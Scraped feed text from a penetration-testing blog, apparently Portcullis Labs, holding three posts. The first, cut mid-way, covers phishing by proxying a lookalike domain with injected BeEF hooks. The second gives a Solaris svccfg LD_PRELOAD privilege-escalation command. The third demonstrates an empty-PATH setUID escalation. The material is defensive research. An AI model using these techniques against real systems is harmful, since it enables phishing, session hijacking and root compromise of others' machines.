        Substitute "s#@PLEASECOMPLETEME#@PLEASECOMPLETEME#ni"

We start off by defining the ServerName on line 2. This will typically be based on the domain name that we control e.g. if the organisation we are targeting is example.org, we might register example.com. We then configure the real web site on lines 12 and 13. Any request for example.com will therefore be rewritten and proxied by our web server instance to example.org. This means that, for example that if a victim performs a search on our web site, then requests for http://example.com/search?query=test will be relayed to http://example.org/search?query=test and the victim will get identical results to those they would have received on the legitimate web site. Finally, we inject BeEF on line 16. I’ve found that the best approach is to pick a unique snippet of HTML (one that appears only once in each page) and use this as the anchor for my substitution.

Whilst this forms the basis of our subterfuge, what of the other lines in our example configuration?

  • We use ProxyPass … ! when we want to process requests from our own web root (/var/www/HOSTNAME.DOMAINNAME)
  • We use ProxyPass … http://localhost:3000/… to proxy requests through to BeEF
  • We apply an output filter on all HTML and JavaScript returned by the real web site to allow for the substitutions
  • We substitute out 3000 towards the end, as from an external perspective BeEF is on the same port as everything else
  • We substitute out the legitimate domain in any email addresses the real web site may return

It should be noted, that a similar approach can be taken to pass requests through to Metasploit and other exploitation frameworks.

This concludes our brief example. If you enjoyed it, feel free to borrow and if you think you or your users might be susceptible, please feel free to give us a call.

PS /pcslhook.js and /pcslendpoint.php are our secret sauce, not that we ever call them that.
PPS You should probably use Location “/ui” to limit who can access the BeEF administration panel.

The post Blood in the water: Phishing with BeEF appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/blood-in-the-water-phishing-with-beef/feed/ 0
uid=0 is deprecated: A trick unix-privesc-check doesn’t yet know https://labs.portcullis.co.uk/blog/uid0-is-deprecated-a-trick-unix-privesc-check-doesnt-yet-know/ https://labs.portcullis.co.uk/blog/uid0-is-deprecated-a-trick-unix-privesc-check-doesnt-yet-know/#comments Tue, 05 May 2015 13:23:35 +0000 https://labs.portcullis.co.uk/?p=5100 Just like Linux, the modern Solaris install doesn’t simply rely on UID/GID to determine privilege. Instead there are roles and profiles to contend with. The following is a loose explanation of how they work: User = user + group + user_attr + /etc/security/auth_attr + /etc/security/auth_attr.d/* user = Raw privileges (PRIV_DEFAULT + !PRIV_LIMIT) user_attr = List […]

The post uid=0 is deprecated: A trick unix-privesc-check doesn’t yet know appeared first on Portcullis Labs.

]]>
Just like Linux, the modern Solaris install doesn’t simply rely on UID/GID to determine privilege. Instead there are roles and profiles to contend with. The following is a loose explanation of how they work:

  1. User = user + group + user_attr + /etc/security/auth_attr + /etc/security/auth_attr.d/*
    1. user = Raw privileges (PRIV_DEFAULT + !PRIV_LIMIT)
    2. user_attr = List of profiles (/etc/security/prof_attr + /etc/security/prof_attr.d/*)
      1. prof_attr = List of authorisations (/etc/security/auth_attr + /etc/security/auth_attr.d)

Additionally, /etc/security/exec_attr specifies what privs a particular command will execute under a given profile.

The first user added will get root by virtue of this scheme. Having said that, for Solaris 11, Oracle pretty much canned this and moved to sudo instead. It’s still there though, if you look.

So today, we were looking at a Solaris 11 box which was mostly being managed via sudo. I say mostly because we found this (isolated) gem in user_attr:

bob::::profiles=Service Management,Service Operator

It’s likely not a backdoor but it is rather odd given the beautiful /etc/sudoers.d hirearchy that also existed on the same system. This authorised them to use the solaris.smf.manage and solaris.smf.modify privileges.

This could be bad. To quote the man page, users authorised with the solaris.smf.modify privilege are:

Authorized to add, delete, or modify services, service instances, or their properties, and to read protected property values.

whilst solaris.smf.manage is:

The service management profile is the minimum required to use the pkg(1) command to add or remove software packages that contain an inventory of services in its service manifest.

So is it exploitable? Well, it turns out that users with those particular authorised privileges can run the following:

bob@localhost:~ $ svccfg -s <service> setenv -m start LD_PRELOAD /tmp/libdoor.so; svcadm refresh <service>; svcadm restart <service>

This, when executed, will cause the named service to have a new environment variable defined (LD_PRELOAD) which points at our malicious code (/tmp/libdoor.so) which will be loaded by the service when it is restarted. As a result, our malicious code will be run as the same user as the victim user, giving us persistent privileged access to the victim machine.

Without these privileges, the same command will result in an error:

bob@localhost:~ $ svccfg -s <service> setenv -m start LD_PRELOAD /tmp/libdoor.so; svcadm refresh <service>; svcadm restart <service>
svccfg: Permission denied.

Bottom line, if you compromise a modern Solaris box, try running auths (and roles) to check what privileges may have been left behind, it may be more than you think.

The post uid=0 is deprecated: A trick unix-privesc-check doesn’t yet know appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/uid0-is-deprecated-a-trick-unix-privesc-check-doesnt-yet-know/feed/ 0
Beware of empty paths https://labs.portcullis.co.uk/blog/beware-of-empty-paths/ https://labs.portcullis.co.uk/blog/beware-of-empty-paths/#comments Thu, 26 Mar 2015 10:25:11 +0000 https://labs.portcullis.co.uk/?p=4992 Consider the case of a setUID binary that runs as root and allows the caller to execute certain other scripts and binaries from a given restricted directory. The Portcullis Labs team recently spotted such a case and I was asked to take a look to determine exploitablity. What follows is a short analysis of what […]

The post Beware of empty paths appeared first on Portcullis Labs.

]]>
Consider the case of a setUID binary that runs as root and allows the caller to execute certain other scripts and binaries from a given restricted directory. The Portcullis Labs team recently spotted such a case and I was asked to take a look to determine exploitablity. What follows is a short analysis of what I found.

The binary concerned took several steps to protect itself including:

  • Validating that the sub-command wasn’t overly long
  • Validating that the sub-command didn’t contain sensitive characters
  • Validating that the sub-command existed in the restricted location
  • Checking that the sub-command had the setUID bit set
  • Clearing down sensitive environment variables such as PATH and LD_PRELOAD prior to transferring control to the sub-command

So what could go wrong?

Well, it turns out that the way it cleared down sensitive variables left a little to be desired.

If you break out IDA (or even plain old strings), you’ll see that the binary sets PATH etc to “”. This is fine in most cases, but if the script uses an interpreter that doesn’t reset PATH (sadly sh will nomally reset it via the rc files etc) then the interpreter will attempt to run commands from “” i.e. the current working directory.

For example:

$ ls -la /restricted/allowed
-rwsr-xr-x 1 root root 56 Feb 12 20:27 /restricted/allowed
$ cat /restricted/allowed
#!/usr/bin/tclsh8.6
exec id
$ cat ./id
#!/bin/sh
touch foo
$ ls -l foo
-rw-r--r-- 1 root user 0 Feb 12 20:29 foo

The post Beware of empty paths appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/beware-of-empty-paths/feed/ 0